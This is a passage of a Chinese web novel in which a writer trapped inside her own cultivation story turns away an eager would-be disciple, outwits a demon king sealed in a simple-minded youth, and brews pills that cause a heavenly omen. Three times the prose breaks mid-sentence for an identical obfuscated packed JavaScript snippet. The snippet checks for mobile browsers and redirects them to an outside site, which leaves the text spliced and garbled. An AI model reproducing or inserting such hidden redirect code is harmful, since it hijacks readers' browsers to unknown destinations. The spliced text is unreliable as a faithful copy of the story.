按照设定,疫鬼死后,那些感染了瘟疫的人症状会减轻很多,再好好修养和调理,不至于就此送命。 借此机会,屈娆还想试试看自己能不能炼丹……毕竟体修嘛,纯炼体还不如倒豆子一样吃补药呢。修炼屈娆找不到门道,玩非常1+1、2+1、3+1甚至N+N这种炼丹小游戏还是挺有希望的。 她转过身,迈步正准备朝山顶的小茅屋走去。 而在这个时候,身后传来了一声呼喊。 “——前辈!剑修前辈留步!” 10. 第十章 剑修?前辈?谁? 屈娆脚步一顿,慢半拍才回神这道声音大概是在叫她。 她先是将头上半掉不掉的兜帽拉好,然后才慢吞吞地转过身。 谁啊?难不成是云无涯? “前辈!” 见刚刚挥出惊世一剑的前辈终于转过身,站在少有完整树旁的青年眼睛亮晶晶的,连忙一拱手:“剑修前辈!晚辈晋天佑见过前辈!” 晋天佑? 屈娆看向他。听到这个名字后嘴角忍不住一抽。 晋天佑啊……好耳熟的名字。 这不就是她笔下那个用来活跃气氛且后期狂撒狗血刀的小工具人吗?! 这家伙怎么会出现在这里?? 哦对,这家伙是来—— “听闻华邑庄附近的山上有虎妖害人的事,晚辈这次是来除妖的!” 没等屈娆主动发问,那个拱手作揖的青年就像倒豆子一样噼里啪啦说出了自己的事。 “没曾想这次前来会见到前辈那一剑英姿!”晋天佑又一次抱拳,拳肉相接发出令屈娆牙疼的闷响,青年眼睛亮晶晶的,像只看见大骨头的小狗一样欢欣雀跃地开口,“前辈!愿前辈收我为徒,荡尽天下妖邪,肃清魔道!” 屈娆:…… “咦?”灾厄悄无声息地从她身后探出个剑柄来,屈娆能听到剑灵对晋天佑发言时的评头论足,“这家伙……连引气入体都不会吧?搞什么除妖?送给守山那家伙吃,那虎头都不会看一眼吧?” 没错,大言不惭地讲着要肃清魔道,实际上给魔道送菜都会嫌肉柴,说着要除妖的青年连修士都不是。 这个明明得在一周之后,云无涯杀掉华融雪后才会遇见的普通青年,竟然提前出现在了华邑庄附近。 而且,这家伙明明是要拜云无涯为师的,怎么到头来被碰瓷的人变成了她?? 屈娆仔仔细细地回忆了下自己的设定,确信没有在这个时候安排晋天佑上山。 或许是因为她沉思的时间长了些,先前一脸憧憬的青年人忍不住挠了挠自己的后脑勺,试探性开口:“前辈?” “我不收徒。”屈娆回神,拉低了自己的兜帽后转身,“此处凶险,望小友不要逗留,尽早离去。” “诶?等等,前辈——!” 没等身后的人再呼喊些什么,屈娆快步朝着山上走去。 修士和普通人的区别还是很大的,几个呼吸之间,屈娆就甩开了高精力的晋天佑。 “哇,什么时候修仙界的人都变这么朴实单纯了?”偷摸溜出来的灾厄在她身边翻来翻去地闲飘,嘴里闲不住地啧啧称奇,“看见你挥剑后的样子,也敢就这样上前?老实说,要是邑不渡那家伙在这儿,早就骗得他裤衩子都没了!” 何止。 屈娆心想,这个心魔还是不太了解邑不渡。 那家伙要是了解了晋天佑的体质,恐怕会把那小子浑身上下榨成人干。 毕竟,天池锦鲤化成的人可不一般。 站在晋天佑身旁的生物,就连呼吸一口共有的空气都能得到锦鲤的眷顾,运气好得不得了。 不过晋天佑的这个不算天赋的天赋体质,只局限于普通人的身份。也就是说,晋天佑是个绝对没办法踏入修仙路途的命。 在小说里,云无涯带着晋天佑回到青天宗,并没有收他为徒,毕竟那个时候虽然境界即将突破气息不稳,但云无涯仍旧看出了这个运气很好的青年不适合修仙。 带他回来也只是因为晋天佑算是华邑庄瘟疫事件的唯二见证者。 将人交给青天宗后,云无涯就闭关突破了。 而晋天佑呢? 这家伙不知道自己不能修仙,还对照着自己看过的话本子妄图自己成为那个斩妖除魔的正道大侠,被扔到青天宗后就只做了个外门扫地的杂役弟子。 这一干就是十三年。直到女主烬粟拜入青天宗云无涯门下后,这家伙才从繁忙的杂役中探出头来,和同样无依无靠的烬粟有了同病相怜的感触。 有晋天佑在一旁,那是烬粟在青天宗过得最舒适的半年了。 屈娆虽然没有很详细地写这一段,但简短几句的话和温馨场景构造就足够让读者们抹眼泪直呼“妹宝终于过上好日子了!”,就连全文完结后也会有不少多刷的读者翻来覆去地阅读这短短一段,然后留下咬牙切齿的谜语人话语给新读者。 “珍惜现在的妹宝吧!珍惜现在的小锦鲤吧!这个时候就埋坑了,娆老贼速速来受死啊啊啊!!!” 其实也没什么事。 就是以“惩凶除恶成为当代大侠”为梦想的小锦鲤最后为了应对推动男女主之间剧情产生的灾难,被迫以普通人体质吸纳了大量邪气,成为了自己梦想中“恶”的部分,然后被女主烬粟亲手除掉。 【……“我真的,好想和大家一起走下去啊……”脸颊上的鱼鳞显现,异常的黄红妖瞳覆盖了大片魔气。晋天佑靠在烬粟的腿上,目光澄澈又迷茫,锦鲤失焦的眼瞳将目光落在了无言落泪的烬粟脸上,“别哭啊小米粒,我完成了自己的愿望……你该为我感到高兴啊……”】 更新这章的那一天,屈娆有了自己的新外号:娆老贼。 只要是合体期的大能,都能勘破晋天佑身上的伪装,知道这家伙的真实身份。 天池锦鲤化作人形,哪怕是做成手办随身带着都会增加破境的几率,属于概念武器了。 邑不渡要是还活着,遇见晋天佑是绝对不可能放过这条小锦鲤的。 “不过,” 耳边又传来了灾厄的声音,剑灵似乎真在思考刚刚晋天佑说的话。 “收那小孩为徒也不是不行吧?反正他看上去没接触过其他修士,骗骗也行啊。但你看他身上,啧啧啧,虽然比不上修仙老道身上的东西,但也有不少值钱的家伙呢!” 灾厄越想越觉得可惜:“要我说你之前就该多薅点邑不渡身上的羊毛!啥东西也不拿,多可惜啊!” 尔后剑灵又嘀嘀咕咕什么“打粉”“抹油”“养护”的词汇,让听到这些的屈娆嘴角一抽。 这家伙真不愧是邑不渡的心魔。 不过屈娆在拒绝晋天佑的时候也想过把小锦鲤当短期跳板,但想了想还是算了。一是因为身边带上这家伙的弊大于利,保不准什么时候就会碰到云无涯。二是因为屈娆之后肯定忙着提升硬实力,照顾自己应付灾厄都够呛了,哪里还有什么精力来教一个没办法修仙的小锦鲤? 屈娆自己修炼都是靠外挂,本小说的作者又怎么了?还不是一个只会纸上谈兵的偏科战神。 她没再管喋喋不休的灾厄,速度不减,很快就遇见了往山下找来的仁伯,以及半痴半傻的华融雪。 “仙长……” 一见到她,仁伯脸上的神情就变了。局促中又带着畏惧,老人不再年轻的脸上勉强扯出一抹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160779|180619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑,他一手将三子往后不动声色地扯了扯,对着不远处的修士躬身试探开口:“多谢仙长,那、那妖魔是被仙长除掉了么?” 前不久那令天地色变的剑光划破天际,出茅屋寻找幼子的仁伯也目睹了这一切。 他将本就佝偻的身形愈发压弯,心中祈求仙长不要再将注意落在三子融雪的身上。 仙长点了点头,语气平静:“疫鬼已除。” 屈娆简短几句就说明了刚刚的状况,又说地下还有不少残存的乡人,现在救出来估计还能活。 还有人活着!! 得到这个消息后的仁伯大喜过望,抓着三子的手就往下想去叫人。 华融雪就这样被他爹拖着下了山,但在下山之前,屈娆看见他回头看向了自己。 那双瞳色漆黑的眼睛将幽深的目光落在了修士的身上,可那看上去不像是一个半痴半傻的人该有的眼神。 而前不久一举斩灭疫鬼的修士,就这样平静淡然地站在高坡上,那双似乎什么都没有容纳,又似乎天地所有一切都在其中的眼睛,只是轻轻地将目光从华融雪的身上拂过。 “……” “儿啊?”紧紧抓着他的仁伯在走出很远一段距离后,才战战兢兢地回头看向后方,那儿早已没有修士的踪迹,仁伯说不清楚自己现在是个什么心态,但他的确为此松了口气。 见华融雪脸上没了惯常的傻笑,整个人安静了很多,仁伯有些担忧地拍了拍他的手臂:“融雪?” 华融雪回过神来,冲他笑了笑,没说话。 “没事就好,没事就好。”仁伯擦了擦眼角溢出的泪花,又抓着他继续向下走去。 “得把这事儿告诉你娘,你娘你姐听到你回来了,事情也解决了,一定会很高兴的……” 风将老人的嘟囔声吹散,只留只言片语落在还站在原地的屈娆耳中。 修士的目光仍旧放在老人和傻子离开的方向,这让飞在一旁的灾厄有些不解。 “你看什么呢?” 剑尖悄无声息的出现在屈娆脸侧,顺着她的目光灾厄想要分析出对方到底在看啥,可看了半天也没能找出点蛛丝马迹,它也只能乱猜。 “那个老头?还是那个傻子?” 灾厄:“嘶,说起来好像还真有点奇怪的……那小子的眼神好像和之前不太对劲啊。” 何止是不对劲,简直快把“我有问题”这四个大字按自己脑门上了。 屈娆无声叹气。 这还有啥不明白的? 那个藏在华融雪身体里的痴傻妖王,重新恢复神志,智商占领高地,心思也活络起来了。 屈娆原本打算找个机会去华邑庄抓点药材,凑够买炉子的钱就离开,现在看这情况,估计不好溜走啊。 痴呆妖王也是个小心眼的家伙,要不然也不会在恢复神志后想的不是修补自身恢复实力,而是去找胆大妄为的疫鬼单挑。 刺过那一剑之后,她要是就这么走了,估计之后的路身后都会跟着条尾巴。 既然这样……倒不如让她主动出击。 反正身体的控制权现在在华融雪这个小傻子手上,化神期的妖王又怎么样?不还是得时不时智商掉线? 屈娆一把握住长剑,在灾厄警惕的目光中嘴角微微上扬。 灾厄:? 总感觉它的新主人在算计着什么…… 应该是剑的错觉吧? 11. 第十一章 “快快快!来人去帮忙!” 在长时间的惶恐不安后,这天灾一般的瘟疫终于迎来了好的结果。秋晚香咳嗽着让人去叫自己的女儿,将下人们支出去后,转身看向华仁。 “阿仁,你说的可是真的?” 妻子的嗓音藏着颤意,那双熬了很久的眼睛除了血丝之外又被覆盖上一层薄薄的水雾。 眼见周围再无其他人,仁伯克制地冲夫人点了头,随后转身朝着里屋招呼。 “雪儿……融雪!”仁伯唤他,“出来!快,让你娘看看!” 安静的里屋半晌后才慢慢传出细碎的声响,直到里屋的门被推开,从中走出来的人让秋晚香的眼睛蓦地瞪大。 身着黛色竹纹长衫的青年从屋内走出,眉眼带笑,舒展间透露着几分天真,不似常人般那样有神。一双眼睛尤为漂亮,眼尾微微上挑,本该是风流多情的轮廓,却因为眼眸中纯澈如孩童般的懵懂而显得异样的无辜。那双天生浅淡的瞳色,像是浸在清泉里的琥珀,映出了被他容纳进眼底的两人。 秋晚香在看见他的那个瞬间,脑子里就一片空白。 自从三年前那场大雪后,她最小的孩子就消失在了深山。 在过去的每个瞬间,秋晚香都在想这是不是她的报应?报应未曾落在她的身上,却又何尝不是深深挖出了她的心? 现在,她又一次看见了自己的孩子。 明明一个月前,华仁就对自己说过融雪回来了,可秋晚香一次都没有当真。 她比任何人都希望那是真的,但又比任何人都知道这绝不可能是真的。 直到现在。 “融雪……” 见夫人上前不自觉地触碰三子的脸庞,小心翼翼地像是在碰从未有过的梦一般,仁伯的眼角又不受控制地溢出了眼泪。 哎呀哎呀,真是年纪大了。 他背过身擦了擦眼泪,终于咽下了三年来从未消化的哽咽。 华融雪任由她抱着,于是谁也没见到青年本该痴傻的目光中闪过的一丝不耐。 真烦啊,有那么多眼泪要掉的吗?要不说是这傻子的爹娘呢,一家人一脉相承…… 青年好看的眉头紧紧皱起,没有被限制住的右手在秋晚香的身后慢慢抬起,轻薄的黑气在他手中汇聚,成爪状的右手骤然用力—— “华融雪。” 一道平静的女声出现在三人耳旁,仁伯擦了擦眼角的泪花,抬头一看就发现了站在了拱形门前的修士。 “仙、仙长!” 他下意识地打了个哆嗦,颤声问:“仙长可是有什么——” “我来找华融雪。”仙长打断了他的话,迈步朝着庭内走来。 华融雪眯起了眼睛,随后脸上再度绽放出一抹带着傻气的笑容。 原本抱着他的秋晚香终于缓解了相思苦,松开孩子后转身朝着这位修士郑重又感激地行了大礼。 “秋夫人不必如此,”那位修士避开了她的礼节,摇了摇头后又道,“我此次前来,是为解决华融雪身上的事。” “融雪?” 秋晚香略有茫然,她下意识上前一步挡在孩子身前,“恩人,可是融雪也染上了疫病?” 修士:“并无。疫鬼已除,余下的病人再多加调养,终会痊愈。” 屈娆又上前一步:“我观华公子魂魄缺失,但并非无可救药。” 华融雪又眯起了眼睛。 这家伙一定看见了他刚刚的行为……有趣,是来拿他的? “真、真的吗!?”一旁的仁伯听后格外激动,“融雪他、他能好起来!?” “需要时间。”屈娆一眨不眨地盯着那个傻子青年,眼神没敢往对方头顶越来越长的两条红蓝管上瞥一下。“仁伯,我需要一鼎药炉,一些治离魂症的药材。” 她接连报出了一串药材名,毫不客气地指挥对方离开。 “行!行行行!我这就去找!”一听到傻了二十几年的孩子终于有恢复正常的可能,仁伯差点没原地起跳,他高兴地想要上前,却被秋晚香一把拉住。 “阿仁,咱们一起去。” 秋晚香能察觉到现场气氛的异常,她不动声色地观察了下这位救了整个华邑庄的恩人,然后又将目光落在了看似痴傻的三子身上。 她抓紧了仁伯的手臂,对他摇了摇头。 “时间不等人,除了融雪,还有更多需要我们现在去行动的人和事。” 仁伯发热的大脑被自己夫人的话安抚妥帖,他点了点头,临走前还不太放心地交代了站在庭院里的三子。 “融雪,融雪!一定要听仙长的话啊!” 回应他的是华融雪脸上越发灿烂的笑容。 直到仁伯和秋夫人彻底消失不见,屈娆也没有将目光从华融雪的脸上移开。 “仙长?” 对面那个头顶超长血蓝条的家伙还很无辜地冲着她歪了下脑袋,“仙长为什么这么看着我?” 他轻笑一声,先前那种纯澈的气质在青年身上消失得无影无踪。 “仙长现在的目光,就好像我是什么十恶不赦的妖魔一样……” 华融雪抬脚迈步走向短短的阶梯,来到了庭院中心,距离那个穿戴着黑袍的修士不过一臂。 “我说,”青年的脸上如花般绽放笑容,但下一刻他右手蓦地成爪直逼修士喉骨,“你怎么敢一个人面对我的啊!” 华融雪脸上的笑还未落实就骤然僵住,因为他的手几乎是擦着修士身前的空气而过。而对方看似破绽满身,但华融雪就是都无法接近她一分一毫! “溜得还挺快!” 他冷笑一声,“我看你能躲到什么时候!” 话音刚落,华融雪双手中淡淡的妖气再度上涌翻滚,与此同时,原本淡色的眼瞳彻底被漆黑覆盖,整个人看上去妖邪十足。 身着黑色兜帽长袍的修士只躲不攻,在华融雪的眼中这家伙分明浑身上下没有一处完备,全是破绽,就连躲避的动作看上去都显得夸张的狼狈,可即便是这样,即便是这样—— “啊啊啊啊!!!” 打了半刻都没能摸到对方衣角,气得妖王要吐血了。 “有本事你别跑啊!咱们俩堂堂正正地打一架!!” 气血翻涌,妖气覆身,华融雪原本英气的脸庞变得妖异十足,在他的追打下,虽然没能伤到那个臭修士一点,但庭院内的环境被他破坏得像是天灾现场。 被追得现在死累,就差像狗一样吐舌头喘粗气的屈娆:…… 哪有筑基期和化神期正面打的啊!?怕不是见面一招平A就被带走了!幸好她炼体把自己炼成了钢铁战士,不然就这几招她就算没痛觉也得被压成铁饼饼了。 “对啊对啊和他正面打一场啊!”灾厄在一旁看得眼热,恨不得自己上场和华融雪对打,“我已经准备好了!!” 你准备好了但我可没有啊! 屈娆憋着口气,又一次避开妖王的追击,心里不断计算着时间。 一共就七分钟,刚刚打了差不多有五分多,再坚持一下就够了……! 又是一击毫不遮掩妖气的掌风,修士身形微转,就躲了过去。可房檐上的翼角没那么幸运,掌风掠过后只余碎裂的瓦块噼里啪啦地砸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160780|180619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。 灾厄瞧得着急:“哎呀!哎呀!你对他手下留什么情啊!换我来,就照你之前那么挥剑,咱们一下就叫他魂归阎罗殿!!” 就在剑灵忍耐不住打算悄摸现身助攻时,屈娆动了。 面对直攻她面门的妖王,修士不闪不避,反倒是在怀中掏了掏似乎在摸索着什么。 好机会! 妖王大喜,没有任何犹豫化掌为爪,直锁屈娆喉骨—— “啪!” 一块硬邦邦灰扑扑,如石头一般僵硬东西被修士从怀里掏出,然后以迅雷不及掩耳之势砸在了妖王的额头上。 什么东西?? 原本在这场紧张刺激的比较中,妖王并不应该将自己的目光从对手的身上移开,可他却惊恐地发现自己的眼睛完全不受控制,自顾自地将目光中的目标从修士变为了那块……馒头? 馒头!? 身体自顾自地伸出了成爪的双手,化爪为掌,接住了那块硬邦邦像石头块一样的馒头。 “馒、馒头!” 伸手接住了这东西后,青年的眼睛亮晶晶的,脸上的妖气肉眼可见地褪去。 正准备出手的灾厄:? 见战术生效,屈娆倒是为自己活下来的小命松了口气。 在原本的故事线中,云无涯能够毫不费力地战胜一位化神巅峰的妖鬼,靠的不只有他的努力。 更重要的是华融雪本身没有战斗的欲望。哪怕他的全身被妖鬼化,实力放在修仙界中也算得上屈指可数,可当一个人没有发动战争的想法时,他本身就是和平的象征。 所以,只要掐准华融雪本身意志苏醒的时间,给一点他感兴趣的东西,就能将华融雪控制在原地。 而原故事线中,云无涯拿的是一个虎头娃娃。 一个和陪伴华融雪长大,由娘亲秋晚香亲手缝制的虎头娃娃相差不大的玩偶,就让化神巅峰的妖鬼束手待死。 ‘喂!你这家伙!在干什么啊!’ 被封存在体内的妖王难以置信地看着华融雪像是小狗一样捧着那块‘石头’到处嗅嗅,他拼了命地想要挣扎出这个傻子躯体的束缚,也是无济于事。 妖王气得直骂,但现在操控着身体的傻子一点也不当回事儿。 直到眼前那个一直在躲避的修士,再度拔出她的剑,妖王悚然意识到自己大概真要完蛋了。 ‘华融雪!!赶紧滚回去换我出来!!’妖王又一次撞击身体,试图让傻子将控制权交给自己,‘靠!你想死我还不想死呢!’ ‘她要杀了你!蠢货!还听不明白吗!?’ 而捧着硬邦邦馒头块无从下口的华融雪懵懂地抬起头,看向面前拿着长剑的修士。 剑……刚刚让他很痛的剑…… 华融雪纠结的目光从灾厄移到了那个好心的,还给他馒头吃的人。 “不、不要打我……” 他怯懦地摆摆手,往后退了一步,上挑的桃花眼溢出水润的光,“还,还给你……我不吃了……” ‘蠢货!!跑啊!!’妖王急得恨不得自己上。但这傻子一边开口示弱,又一边强势拿住身体控制权,根本不管体内焦急的妖王。 ——天要亡我! 妖王眼前黑了又黑。 而这时,带着一兜子药材的仁伯和单手提着药炉的秋夫人正巧回到了庭院。 “仙长!融雪!” 仁伯的声音热情洋溢,跨入庭院中:“我、我把东西都带回……” “唰——!” 刺白的剑光一闪而过,原本嘈杂的庭院内这下彻底安静了下来。 12. 第十二章 原本规整的庭院被剑气和爪痕切割乱得不像话,而刚刚那剑光闪过,之前残留的唯一完好的林木就这样被修士削掉了一大半叶片。 “庭院的林木该修修了。” 屈娆若无其事地收了手中的长剑,双手背于身后,对着茫然的仁伯淡声开口,表面端得是一派高人作风。 这突如其来的举动不仅叫藏匿于华融雪体内的妖王摸不着头脑,也让正准备大展身手的灾厄急得在剑心中乱叫。 “我靠我靠我靠!!”它大骂了几句后,语气急切得不行,“你干嘛啊屈娆!!” “不就当那夫妻俩的面杀个人吗!?又没什么事,犯得着你强行卸力吗!?” 剑灵围着她转来转去,语气透露着古怪的心疼。 “这下好了,你个筑基期强行卸去我带的灵力,手被伤着了吧!”灾厄气呼呼又难以掩盖自己的心痛,“咱们之后还得靠你这双手打上仙山台呢!” 屈娆:谢邀,本来就没有这个打算好不好? 另外幸好她没有痛觉,否则现在还真不知道能不能装下去。 最开始屈娆本身就没打算干掉华融雪,是妖王先打了过来,她迫不得已才还击罢了——如果砸一块馒头也算是还击的话。 虽然写小说的时候屈娆从不回避冲突,反而会从各个地方放大冲突以求达到最好的观赏效果。可那是小说,现在是现实! 打打杀杀的,不适合她,真的。 半分钟前,灾厄带着难抑地攻击性对华融雪发动斩击时,屈娆就抓紧了它,让本来就只是恐吓的打算没有演变成实质流血战斗。 只不过恰好被回来的夫妻二人看到罢了。 屈娆只得深沉开口表示刚刚手痒痒,给庭院修了个新造型。 看着满墙异样的爪痕和乱七八糟的庭院,秋晚香沉默片刻后,自然而然地应下:“有劳恩人。” 现在的情况哪怕是仁伯也能看出不对劲,在场的几个不是人精就是见惯了修仙界一切的妖精,对于修士的所说和所做都有了猜测。 ‘……不会吧?’ 待在华融雪体内的妖王愕然地看着那个脸色苍白的修士,分外不解:‘就因为……那对夫妻?’ 什么时候修仙界有这么一号傻白甜了? 虽然从刚刚的战斗来看对方完全算不上什么傻白甜,但这并不妨碍妖王对此犯嘀咕。 直到华融雪被牵着来到另一处庭院屋子里,妖王都安静得格外异常。 傻子青年被换上了一身新装,墨色的长衫罩在身上,简单地挽上长簪后,华融雪就坐在庭院的小石桌边歪头贴面,侧看头顶上的夜空。 清月无影,繁星点点。周围偶尔会有虫子的鸣叫,但不至于嘈杂,只是将夜色晕染得更加令人感到陶醉。 仁伯用完餐后又出门去忙活华邑庄上后续的事了,而秋夫人则是坐在了小石桌的对角,偶尔轻咳一声,然后用慈爱的目光看着三子如稚童般的动作。 “融雪……” 她轻唤一声,很快就得到了青年含着傻气的呼唤。 “娘!” 一声“娘”,她又有多久没听见三子这样的呼喊了? 偶尔会在漆黑不见的梦中,窥见三子的抽噎与尖叫。 那年严冬的大山该有多冷啊?怎么就叫她的三子被活活埋在里面了呢? 秋晚香伸出手,轻轻地落在华融雪的眼睫上,颤动的弧度不知道是三子痒得咯咯笑的震动,还是她止不住的颤抖? “娘!”华融雪又喊了她一声,亮晶晶的眼睛像一块上好的琥珀,澄澈得能看清所有人的样子。 秋晚香静静地看着他,忽然道:“你到底是谁呢?” “我的三子,我爱的那个孩子……早就死在了那年冬天的大山里。”她轻柔地抚摸着青年的长发,忧愁却又平静地开口,“你是谁呢?总不可能是……我的孩子。” 华融雪:“娘!” 傻子不懂她在说什么,只是执拗地喊出这个称呼,就好像喊出这个名字之后一切都能回到原位。 ‘凡人呵。’ 妖王团坐在华融雪的体内,闻言闭眼哼笑。 ‘只有凡人才会担心来担心去的,无用的感情啊,最终被牵绊住无法再向上一步。’ 妖王悠悠睁开双眼,回想起白天那个修士奇怪的举动。 像那样的人,竟然也会被无用的凡人之情牵绊住? 优柔寡断,在最不该留手的时候松开了手。 哪怕全靠修士那个收剑举动才活下来,妖王也不赞同这种行为。在他看来,这种行为放在肉弱强食的修仙界无异于送死。 ——别的人他还不放在心上呢! 妖王恨恨想到。 要不是看那家伙有几分实力,能在他手下撑上几个来回,他堂堂万妖之王怎么会将其放在眼里! 而现在,那个白了脸的修士正在庭院东南方的屋子里似乎在炼丹,药材的味道从门缝中不断飘出,勾得妖王心里有点馋。 嘿!还会一手不菲的炼丹手法! 妖王眼睛一转,就有了点想法。 那家伙对妖、魔这类异族下手从不留情,但一放在和她一样的人身上,不管是修士还是凡人,似乎都会留情那么一点。 或许,他可以从这个方面入手。 只要自己装得像一点,以华融雪的身份去讨点对自己有利的药,或许能让他更快恢复原有的实力。 从这副身体的约束中出来,那么一切主动权就将在他手里! 一切都在他的计划当中! “咳哼——!!” 屋内,屈娆憋屈地咽下了即将脱口而出的喷嚏,尾音最后化作了一声闷哼,但微弱的动静都能让药炉下的火光蹿出来半米,吓得她赶紧将火力调小。 “屈!娆!!” 听见闷哼声后,那柄啰啰嗦嗦活像是五百年没说过话一样的灾厄又蹿出来了。 灵剑对着端坐在团蒲上的屈娆叨叨:“都说了你现在最重要的是调理自身!你现在是筑基期,不是你曾有的境界与实力!别急着给那傻子炼药,多把注意力分在自己身上啊屈娆!!” 剑灵急得团团转,在屋子上空飞过来又飞过去,诠释了什么叫“热炉上的灵剑”。 见修士没有任何反应,依旧惨白着一张脸,神情平静地操控着火势炼药。 “你难道就感受不到一点痛吗!?”灾厄气急败坏地叫道。 “……” 它似乎看见修士耳朵动了一下,原本凝望着药炉的目光忽然垂落,像是听见它说话了一样。 是了,她又怎么会没有痛觉? 灾厄像是被掐住了脖子一样,忽然安静了下来。 它明明最清楚了。 那种像是被打断了骨头一样重塑经脉,被烈火灼烧全身数日不绝的痛苦……灾厄怎么不清楚她身上曾经历过的痛? 只是这个家伙从未在意过。什么经脉寸断后重塑的痛?什么炉火灼身捶打千万遍的苦? 眼前这个修士从未表露出异常,冷静得不可思议。 ——可,到底是为什么!? 灾厄不明白,它不理解! 这修仙界明明有太多像邑不渡那样的人,他们贪生怕死、野心勃勃,只要能登上那无境天界,什么手段都能使得出来! 在没有被炼成灾祸之剑前,它跟着邑不渡看遍了修仙界里的弱肉强食,早已明白所谓的“修士”,“修仙界”到底是个什么东西。但怎么偏生在这个时候,灾厄遇到的新主人却是这样一个傻蛋? 她到底要求什么?她到底在意什么!? 灾厄静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160781|180619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静地立在修士的身后,一言不发。 没了灵剑的叨叨,屈娆还有些不习惯。 压下即将差点打出来的哈欠,又活动活动干涩的眼珠后,她又打起精神继续看着眼前的—— 炼丹小游戏。 【……“五味钱搭上干凝草,佐以天山寒泉入炉,灵火熬煮至收汁,加上痴罔磨成的粉,闭炉用灵力镌刻丹纹,十日可成‘灵枢净厄散’。”】 屈娆从仁伯交给她的袋子里扒来扒去,终于在一众药材名中找到了小小的五片如四叶草般的小花。又往炉子里甩进了一大批枯黄的草,随手舀了一瓢缸子里的水泼进药炉,又将干瘪如人参的小树根切吧切吧扔了进去。 好了,关炉加火!静候丹成! 一旁看完全程的灾厄:…… 从自己思绪里回过神的灵剑偏了偏剑身,将注意力往一旁摆放的木桌上看去。 那儿的花色大陶盘中正摆放着五六枚灵气充足且药香诱人的丹药。颜色各异,但光从丹药上的灵力和阶级来看……那不该是一个普通筑基期能炼出来的东西。 而就是这些放在灵市上售卖都要千万灵石起价的丹药,就这样大喇喇毫无掩盖地放在大红大绿的陶盘上。而炼丹师还在继续炼制着约莫一颗要十天半个月才能出一炉的丹药……以半个时辰三四粒的速度。 灾厄:…… 这正常吗?? 这不正常吧!? 灵剑头一次开始自我怀疑了。 剑的想法,人不知道。人只是一昧地往药炉里扔药材,关炉,然后调火。 在灾厄看不见的角度,屈娆新奇地看着自己伸出来的右手。 原本白皙的右手从指尖出发,浮现橙红夹杂着灰黑的纹路,像是手臂青筋改色后的浮现,但屈娆知道那不一样。 因为没有正常人的手能够利用这些纹路冒出火光来。 药炉的火正是从她指尖迸发出的橙黑色焰花所点燃,随着屈娆默念“大”“小”而改变火势。 屈娆:诶嘿! 还挺好玩的! 原来修仙是这种感觉啊……她嘴角上扬,开了这一炉丹药后又继续翻找其脑海里的丹方。 仁伯提供的药材并不算很多,大部分能找到的材料都塞给她了。或许在其他修士的眼中,这些材料炼不出什么东西,但屈娆不一样。 她是作者啊! 她知道什么样的药材配什么样的丹方,不管多偏多歪的丹方,她都能从脑海的犄角旮旯里找出来。 其他人那这些破烂药炼不出来东西,无非是因为现有的丹方没有对应的药材。 屈娆就不管那么多了——炼!全都可以炼!! 不就是扔药材再加水,大火收汁吗?她说能炼就一定可以炼! 约莫又是半个时辰后,漆黑夜色中,华邑庄的上空突然拔地而出一束橙红色的溢彩! 色彩靓丽竟叫黑夜都染出了如同白日的亮色! 不管是华邑庄的人,还是远在其他各地的修士都看见了那人为引出的异象! 那、那是—— “呼。” 屈娆洗了把手,让手臂的温度降下去后,仗着没有痛觉和炼体筑基的强悍,直接开了药炉。 刹那间屋内流淌出控制不住的妖异药香,而原本在庭院中无聊望天的妖王则是一个激灵,猛地从华融雪体内坐起。 “搞定。”她一把抓出一炉出的十二枚橙红丹药,被灵力镌刻的丹纹中似乎有鎏金在流动。屈娆数了数丹药的数目,满意点头,“这样就没问题了。” 早已等候在一旁的灾厄从身旁蹿出,灵剑迫不及待地探剑去看:“让我瞧瞧你出了什么……灵枢净厄散!?” 这不就是解毒丹吗?? 你炼个最基础的解毒丹怎么炼出天地异象了啊!? 13. 第十三章 十二枚‘灵枢净厄散’,也就是所谓的解毒丹。 灾厄怎么想都想不到为什么一个目前处于筑基期的家伙能够把解毒丹炼到引发天地异象? 这正常吗!? 它再一次嚎着谁也听不到的尖叫,围着屈娆打圈直飞,想要仔细看看这个家伙到底是什么牌子的怪物。 此时此刻的灾厄对屈娆充满了好奇:一个强大过又被迫跌入最底端的修士,却带着不符合修仙界主流的善心。 这家伙…… 到底是怎么和邑不渡那个唯利是图的混蛋成朋友的?那混蛋到底走什么歪门邪道的运了?? ** “——子符?可有算出什么来?” 在距离华邑庄三万五千七百里的仙云山上有一亭台,高山耸立,云雾缭绕,安静惬意唯有鹤来,落至松柏下梳拢羽毛。 八角亭台下,身着墨白色修士服的落子符扫开了石桌上用来问卦的八根著,对着询问的人摇了摇头。 